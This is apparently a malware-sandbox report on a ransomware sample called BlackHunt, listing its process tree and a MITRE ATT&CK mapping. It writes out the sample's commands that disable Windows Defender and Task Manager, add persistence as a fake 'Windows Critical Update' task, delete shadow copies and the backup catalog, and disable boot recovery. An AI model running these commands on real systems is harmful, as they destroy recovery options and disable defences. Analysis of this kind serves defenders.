The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe
"C:\Users\Admin\AppData\Local\Temp\344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:5008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1076
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    PID:4040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2388
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4820
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3332
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3160
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:1160
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4244
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:1416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3512
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4044
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:1724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:936
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:3360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4892
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1140
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:1848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:1092
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:208
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2536
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2696
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:4352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:3208
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:4228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4972
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2216
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:5028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2072
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:4512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4108
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3048
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:4436
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1512
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:3864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:4088
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:3148
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:4792
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:3164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:3224
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:1468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1892
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3460
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:4264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:3436
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1824
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry class
    PID:4040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:496
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:4444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe" /F
  2⤵
  PID:660
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\344c4d742b8ed0106b5aed4ad3eaf0a90fe45d3aa532e757c86fb55ec65c675e.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:4304
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:4232
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1092
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:452
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:4876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:3664
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:5040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1860
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2536
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:848
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3144
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:4228
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3096
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:1708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:4140
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:5016

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2696

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3024

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2492

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:2536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery